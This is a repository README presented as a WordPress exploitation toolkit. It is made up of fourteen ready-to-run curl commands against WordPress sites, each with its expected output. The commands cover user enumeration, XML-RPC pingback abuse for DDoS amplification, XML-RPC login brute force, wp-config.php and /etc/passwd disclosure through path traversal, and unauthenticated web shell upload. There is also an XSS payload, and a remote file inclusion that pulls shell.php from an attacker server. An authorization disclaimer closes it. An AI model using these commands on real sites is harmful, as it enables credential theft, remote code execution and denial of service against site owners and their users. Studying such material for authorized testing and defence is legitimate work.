⚠️ WordPress Exploitation Toolkit

This repository contains a collection of Proof of Concepts (PoCs) for exploiting common vulnerabilities in WordPress core, plugins, or misconfigurations. The PoCs are designed to be simple and executed via curl.

---

🔨 Requirements

• curl installed on your system.
• (Optional) jq for parsing JSON responses.

---

✏️ Exploitation Techniques

1. Username Enumeration

Description

Extracts a list of usernames using the WordPress REST API.

✔ Command

curl -s "http://[TARGET_DOMAIN]/wp-json/wp/v2/users" | jq

Expected Output

A JSON object containing user IDs and usernames.

---

2. XML-RPC Pingback Abuse

Description

Abuses the XML-RPC pingback.ping method to potentially find vulnerable endpoints or for DDoS amplification.

✔ Command

curl -X POST "http://[TARGET_DOMAIN]/xmlrpc.php" -d '<?xml version="1.0"?>
<methodCall>
    <methodName>pingback.ping</methodName>
    <params>
        <param><value><string>http://[VICTIM_SITE]</string></value></param>
        <param><value><string>http://[TARGET_DOMAIN]</string></value></param>
    </params>
</methodCall>'

Expected Output

A response indicating whether the target site is vulnerable to pingback abuse.

---

3. Plugin/Theme File Disclosure (if applicable)

Description

Some plugins/themes expose sensitive files, such as configuration or backup files.

✔ Command

curl -s "http://[TARGET_DOMAIN]/wp-content/plugins/[PLUGIN_NAME]/debug.log"

Expected Output

Contents of the exposed file (if available).

---

4. Directory Listing (Misconfiguration)

Description

Checks for publicly accessible directories due to server misconfigurations.

✔ Command

curl -s "http://[TARGET_DOMAIN]/wp-content/uploads/" | grep "<title>"

Expected Output

HTML content indicating a directory listing page.

---

5. Password Brute Force (XML-RPC)

Description

Attempts to brute force login credentials via the XML-RPC method, which is commonly vulnerable to brute-force attacks.

✔ Command

curl -X POST "http://[TARGET_DOMAIN]/xmlrpc.php" -d '<?xml version="1.0"?>
<methodCall>
    <methodName>wp.login</methodName>
    <params>
        <param><value><string>[USERNAME]</string></value></param>
        <param><value><string>[PASSWORD]</string></value></param>
    </params>
</methodCall>'

Expected Output

Response showing either a successful login or failure message.

---

6. WP-Admin Path Brute Force

Description

Brute forces paths to access the wp-admin login page, useful for misconfigurations or hidden paths.

✔ Command

curl -s -o /dev/null -w "%{http_code}" "http://[TARGET_DOMAIN]/wp-admin/"

Expected Output

A 200 status code if the wp-admin login page exists.

---

7. Unauthenticated File Upload Vulnerability (Plugin/Theme)

Description

Some plugins/themes allow unauthenticated file uploads that could lead to Remote Code Execution (RCE) or web shell uploads.

✔ Command

curl -F "file=@[FILE_PATH]" "http://[TARGET_DOMAIN]/wp-content/plugins/[PLUGIN_NAME]/upload.php"

Expected Output

Confirmation that the file was uploaded or error message.

---

8. WP-Config File Disclosure

Description

Exploits a misconfiguration to expose the wp-config.php file, which contains sensitive database credentials.

✔ Command

curl -s "http://[TARGET_DOMAIN]/wp-config.php"

Expected Output

Contents of the wp-config.php file, revealing database credentials.

---

9. Admin Login Page Bypass (if applicable)

Description

Bypasses login pages through known misconfigurations or vulnerabilities.

✔ Command

curl -X POST "http://[TARGET_DOMAIN]/wp-login.php" -d "log=[USERNAME]&pwd=[PASSWORD]&wp-submit=Log+In&redirect_to=http%3A%2F%2F[TARGET_DOMAIN]%2Fwp-admin%2F"

Expected Output

Response showing if the login was successful.

---

10. Cross-Site Scripting (XSS) in Plugins

Description

Exploits XSS vulnerabilities in WordPress plugins by injecting malicious JavaScript into vulnerable plugin fields.

✔ Command

curl -X POST "http://[TARGET_DOMAIN]/wp-admin/options-general.php?page=[PLUGIN_PAGE]" -d "setting=<script>alert('XSS')</script>"

Expected Output

JavaScript alert showing the XSS payload execution.

---

11. Cross-Site Request Forgery (CSRF) in Admin Actions

Description

Exploits CSRF vulnerabilities by forcing an admin user to perform unintended actions on their WordPress site.

✔ Command

curl -X POST "http://[TARGET_DOMAIN]/wp-admin/admin-post.php" -d "action=[ACTION_NAME]&[PARAMETERS]"

Expected Output

Admin action is performed without proper authentication.

---

12. Local File Inclusion (LFI) via URL Parameters

Description

Exploits LFI vulnerabilities through URL parameters to include sensitive files like /etc/passwd or wp-config.php.

✔ Command

curl -s "http://[TARGET_DOMAIN]/wp-content/themes/[THEME_NAME]/[VULNERABLE_FILE].php?page=../../../../../../etc/passwd"

Expected Output

Contents of the sensitive file, like /etc/passwd.

---

13. Remote File Inclusion (RFI)

Description

Exploits vulnerable include statements to execute remote files, typically used for web shell uploads or remote code execution.

✔ Command

curl -s "http://[TARGET_DOMAIN]/wp-content/themes/[THEME_NAME]/[VULNERABLE_FILE].php?file=http://[ATTACKER_SERVER]/shell.php"

Expected Output

The remote shell being executed on the target server.

---

14. Insecure Deserialization

Description

Exploits insecure deserialization vulnerabilities in WordPress plugins or themes that fail to properly validate user inputs.

✔ Command

curl -X POST "http://[TARGET_DOMAIN]/wp-admin/admin-ajax.php" -d "action=deserialize&data=[MALICIOUS_PAYLOAD]"

Expected Output

Successful deserialization leading to code execution or privilege escalation.

---

📝 Notes

• Replace [TARGET_DOMAIN], [USERNAME], [PASSWORD], [PLUGIN_NAME], [FILE_PATH], etc., with actual values.
• Use these PoCs responsibly and only on systems you are authorized to test.
• For JSON responses, you can omit | jq if you don't have the tool installed.

---

📢 Disclaimer

This toolkit is for educational and authorized penetration testing purposes only. Misuse of this information can result in severe legal consequences.

💰 Support Me

If you find this work helpful, you can support me:

• 

Thanks for your support! ❤️